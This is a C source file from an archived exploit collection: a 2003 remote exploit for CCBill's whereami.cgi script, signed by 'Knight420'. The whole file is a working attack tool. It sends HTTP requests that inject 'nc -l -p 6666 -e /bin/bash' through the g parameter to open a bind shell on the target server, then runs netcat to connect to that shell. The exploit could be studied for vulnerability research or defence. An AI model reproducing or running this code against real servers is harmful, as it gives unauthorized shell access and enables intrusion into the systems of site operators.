home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / ccbill / ccbillx.c < prev   
C/C++ Source or Header  |  2005-02-12  |  4KB  |  184 lines

  1. /*
  2. * ==================================================
  3. * CCBILL CGI Remote Exploit for /ccbill/whereami.cgi
  4. * By: Knight420
  5. * 7/07/03
  6. *
  7. * [whois ccbill]
  8. * CCBill provides web Merchants with a comprehensive set of service 
  9. * offerings that have been developed by Industry professionals who 
  10. * understand the special challenges of conducting business online.
  11. *
  12. * !W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!W00T!
  13. *  
  14. * Gr33tz to: sorbo #open #darkircop 
  15. *
  16. * (C) COPYRIGHT Blue Ballz , 2003
  17. * all rights reserved
  18. * =================================================
  19. *
  20. */
  21.  
  22. #include <sys/types.h>
  23. #include <sys/time.h>
  24. #include <sys/socket.h>
  25. #include <netinet/in.h>
  26. #include <arpa/inet.h>
  27. #include <unistd.h>
  28. #include <errno.h>
  29. #include <stdlib.h>
  30. #include <stdio.h>
  31. #include <string.h>
  32. #include <fcntl.h>
  33. #include <netdb.h>
  34.  
  35.  
  36. unsigned long int    net_resolve (char *host);
  37. int            net_connect (struct sockaddr_in *cs, char *server,
  38.             unsigned short int port, int sec);
  39.  
  40. unsigned char ccbill[] = "GET /ccbill/whereami.cgi?g=nc%20-l%20-p%206666%20-e%20/bin/bash HTTP/1.0\x0d\x0a"
  41.                    "GET /cgi-bin/ccbill/whereami.cgi?g=nc%20-l%20-p%206666%20-e%20/bin/bash HTTP/1.0\x0d\x0a"
  42.                          "GET /cgi-bin/whereami.cgi?g=nc%20-l%20-p%206666%20-e%20/bin/bash HTTP/1.0\x0d\x0a";
  43.  
  44. int
  45. main (int argc, char **argv)
  46. {
  47.     int            socket;
  48.     char  *TARGET     =     "TARGET";
  49.     char            *server;
  50.     unsigned short int    port;
  51.     struct sockaddr_in    sa;
  52.  
  53.     if (argc != 3) {
  54.         system("clear");
  55.         printf ("[CCBILL CGI Remote Exploit By:Knight420]\n"
  56.         "usage: %s <host> <port>\n");
  57.         exit (EXIT_FAILURE);
  58.     }
  59.     setenv (TARGET, argv[1], 1);
  60.     server = argv[1];
  61.     port = atoi (argv[2]);
  62.  
  63.     socket = net_connect (&sa, server, port, 35);
  64.     if (socket <= 0) {
  65.         perror ("net_connect");
  66.         exit (EXIT_FAILURE);
  67.     }
  68.  
  69.     write (socket, ccbill, strlen (ccbill));
  70.     sleep (1);
  71.     close (socket);
  72.  
  73.     printf ("[CCBILL CGI Remote Exploit By:Knight420]\n");
  74.     printf ("[1] evil data sent.\n", server);
  75.     printf ("[2] connecting to shell.\n", server);
  76.     system("nc ${TARGET} 6666 || echo '[-]Exploit failed!'");
  77.     exit (EXIT_SUCCESS);
  78. }
  79.  
  80. unsigned long int
  81. net_resolve (char *host)
  82. {
  83.     long        i;
  84.     struct hostent    *he;
  85.  
  86.     i = inet_addr (host);
  87.     if (i == -1) {
  88.         he = gethostbyname (host);
  89.         if (he == NULL) {
  90.             return (0);
  91.         } else {
  92.             return (*(unsigned long *) he->h_addr);
  93.         }
  94.     }
  95.  
  96.     return (i);
  97. }
  98.  
  99.  
  100. int
  101. net_connect (struct sockaddr_in *cs, char *server,
  102.     unsigned short int port, int sec)
  103. {
  104.     int        n, len, error, flags;
  105.     int        fd;
  106.     struct timeval    tv;
  107.     fd_set        rset, wset;
  108.  
  109.     /* first allocate a socket */
  110.     cs->sin_family = AF_INET;
  111.     cs->sin_port = htons (port);
  112.     fd = socket (cs->sin_family, SOCK_STREAM, 0);
  113.     if (fd == -1)
  114.         return (-1);
  115.  
  116.     cs->sin_addr.s_addr = net_resolve (server);
  117.     if (cs->sin_addr.s_addr == 0) {
  118.         close (fd);
  119.         return (-1);
  120.     }
  121.  
  122.     flags = fcntl (fd, F_GETFL, 0);
  123.     if (flags == -1) {
  124.         close (fd);
  125.         return (-1);
  126.     }
  127.     n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
  128.     if (n == -1) {
  129.         close (fd);
  130.         return (-1);
  131.     }
  132.  
  133.     error = 0;
  134.  
  135.     n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
  136.     if (n < 0) {
  137.         if (errno != EINPROGRESS) {
  138.             close (fd);
  139.             return (-1);
  140.         }
  141.     }
  142.     if (n == 0)
  143.         goto done;
  144.  
  145.     FD_ZERO(&rset);
  146.     FD_ZERO(&wset);
  147.     FD_SET(fd, &rset);
  148.     FD_SET(fd, &wset);
  149.     tv.tv_sec = sec;
  150.     tv.tv_usec = 0;
  151.  
  152.     n = select(fd + 1, &rset, &wset, NULL, &tv);
  153.     if (n == 0) {
  154.         close(fd);
  155.         errno = ETIMEDOUT;
  156.         return (-1);
  157.     }
  158.     if (n == -1)
  159.         return (-1);
  160.  
  161.     if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
  162.         if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
  163.             len = sizeof(error);
  164.             if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
  165.                 errno = ETIMEDOUT;
  166.                 return (-1);
  167.             }
  168.             if (error == 0) {
  169.                 goto done;
  170.             } else {
  171.                 errno = error;
  172.                 return (-1);
  173.             }
  174.         }
  175.     } else
  176.         return (-1);
  177. done:
  178.     n = fcntl(fd, F_SETFL, flags);
  179.     if (n == -1)
  180.         return (-1);
  181.  
  182.     return (fd);
  183. }
  184.